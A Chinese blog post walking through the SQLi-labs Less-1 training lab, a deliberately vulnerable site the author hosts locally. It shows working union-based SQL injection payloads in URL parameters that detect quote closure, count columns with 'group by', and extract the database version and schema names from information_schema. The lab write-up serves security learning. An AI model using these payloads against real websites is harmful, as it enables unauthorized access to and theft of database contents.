当前位置:网站首页>通关SQLilab靶场——Less-1思路步骤
通关SQLilab靶场——Less-1思路步骤
2022-08-09 11:08:00 【AnQTroops】
Less-1 GET—Union字符型注入
认真看完会收获不少~
- 找交互点
http://192.168.182.130:8080/Less-1/?id=1
http://192.168.182.130:8080/Less-1/?id=2
前后两个页面数据不同,找到交互点
- 判断是否存在注入(用户输入的代码给数据库执行了)
判断注入点时,如果网站的闭合是单引号’ ',那么输入双引号 " 是无法报错,因为双引号被当作字符给闭合在里面了。如果时双引号" "闭合,那么输入单引号’也是不会发生改变的,因为单引号也被当作字符给闭合在里面了。如果是数字型,不管输入什么都会发生改变。
这里直接输入' "
来判断是否存在注入,因为不管是字符型还是数字型只要数据库执行了都会发生改变。
通过SQL语句来理解:
数字型:SELECT * FROM users WHERE id=1' "
单引号字符型:SELECT * FROM users WHERE id=' 1' " '
双引号字符型:SELECT * FROM users WHERE id=" 1' " "
所以我们这里直接输入' "
来判断是否存在注入(只要页面发生改变就说明存在注入了)
http://192.168.182.130:8080/Less-1/?id=1"'
页面发生改变
成功验证这里是存在注入
- 判断注入类型
测试是否为数字型
http://192.168.182.130:8080/Less-1/?id=1 and 1=1
页面正常
http://192.168.182.130:8080/Less-1/?id=1 and 1=2
页面正常
说明注入点为 字符型 注入
- 判断闭合方式
通过SQL语句来理解如何判断闭合方式:
单引号字符型:SELECT * FROM users WHERE id=' 1 '
如果是单引号闭合,那么输入单引号,页面就是发生改变。
id=' 1 '
,输入单引号id=' 1' '
,输入的单引号就会和前面的闭合,就会造成语句错误,页面发生变化
id=' 1 '
,输入双引号id=' 1" '
,输入的双引号就会被当作字符来执行,页面正常
双引号字符型:SELECT * FROM users WHERE id=" 1 "
id=" 1 "
,输入双引号id=" 1" "
,输入的双引号就会和前面的闭合,就会造成语句错误,页面发生变化
id=" 1 "
,输入单引号id=" 1' "
,输入的单引号引号就会被当作字符来执行,页面正常
回到主题,这里我们先判断是否为单引号闭合
http://192.168.182.130:8080/Less-1/?id=1'
页面发生改变
http://192.168.182.130:8080/Less-1/?id=1' and 1=1 -- qwe
页面正常
http://192.168.182.130:8080/Less-1/?id=1' and 1=2 -- qwe
页面发生变化
这里我们就找到闭合方式了
- 查询字段数
查询字段数有两种方法:
order by
group by
通过group by 查询字段数的方法,目前的网站还不是很多过滤和拦截。
这里我们就通过group by来查询子段数
http://192.168.182.130:8080/Less-1/?id=1' group by 1 -- qwe
页面正常
http://192.168.182.130:8080/Less-1/?id=1' group by 2 -- qwe
页面正常
http://192.168.182.130:8080/Less-1/?id=1' group by 3 -- qwe
页面正常
http://192.168.182.130:8080/Less-1/?id=1' group by 4 -- qwe
页面发生变化
得到字段数为 3
- 找回显位
通过union联合查询来找回显位,前面我们找字段数就是为了使用union联合查询。
使用union联合查询的前提条件是前后两条查询语句的字段数必须相同
http://192.168.182.130:8080/Less-1/?id=1' and 1=2 union select 1,2,3-- qwe
通过页面回显,得到回显位在2,3
- 查询数据库版本
因为Mysql数据库5.0以上版本存在一个information_schema
数据库;里面存放着关于整个Mysql数据库的 库——>表——>字段 的对应关系的数据。
因为这里是我个人本地搭建的,所以每个人的数据库版本号有所不同
http://192.168.182.130:8080/Less-1/?id=1' and 1=2 union select 1,2,version()-- qwe
得到数据库版本号为:5.5.53
可以通过information_schema
数据库来获取数据
- 查询数据库名
查询当前数据库:
http://192.168.182.130:8080/Less-1/?id=1' and 1=2 union select 1,2,database()-- qwe
查询所有数据库:
http://192.168.182.130:8080/Less-1/?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata limit 0,1-- qwe
查询到当前数据库是:security
- 结论
后面的查找表名,字段名都一样,主要学的是整体的注入思路。纯手打,XDM多多点赞哈~
边栏推荐
- PTA习题 分类统计字符个数(C)
- Solve 1. tensorflow runs using CPU but not GPU 2. GPU version number in tensorflow environment 3. Correspondence between tensorflow and cuda and cudnn versions 4. Check cuda and cudnn versions
- 激光条纹中心提取——灰度重心法
- STM32启动方式及BootLoader
- golang 三种指针类型具体类型的指针、unsafe.Pointer、uintptr作用
- 1003 Emergency (25分)
- c语言函数的递归调用(汉诺塔问题,楼梯递归问题等)
- Error: Cannot find module ‘./application‘
- PoseNet: A Convolutional Network for Real-Time 6-DOF Camera Relocalization论文阅读
- PoseNet: A Convolutional Network for Real-Time 6-DOF Camera Relocalization Paper Reading
猜你喜欢
PoseNet: A Convolutional Network for Real-Time 6-DOF Camera Relocalization论文阅读
b站up主:空狐公子 --矩阵求导(分母布局)课程笔记
linux mysql操作的相关命令
Since I use the HiFlow scene connector, I don't have to worry about becoming a "dropper" anymore
信号量SIGCHLD的使用,如何让父进程得知子进程执行结束,如何让父进程区分多个子进程的结束
性能测试(05)-表达式和业务关联-json关联
enum in c language
fork创建多个子进程
Cluster understanding
电磁场与电磁波-场论基础
随机推荐
程序员的专属浪漫——用3D Engine 5分钟实现烟花绽放效果
jmeter BeanShell 后置处理器
Cluster understanding
Since I use the HiFlow scene connector, I don't have to worry about becoming a "dropper" anymore
1008 Elevator (20分)
Julia常见符号意思
ACM01背包问题
STemwin中GUI_Exec和GUI_Delay
API接口是什么?API接口常见的安全问题与安全措施有哪些?
【C language】动态数组的创建和使用
Julia资料收集
Jmeter BeanShell post processor
Missing URI template variable ‘employeeNumber‘ for method parameter of type String
1003 Emergency (25分)
activemq 消息持久化
c语言函数的递归调用(汉诺塔问题,楼梯递归问题等)
双向链表的各种操作
七夕?程序员不存在的~
Qt读写.ini配置文件
日期工具类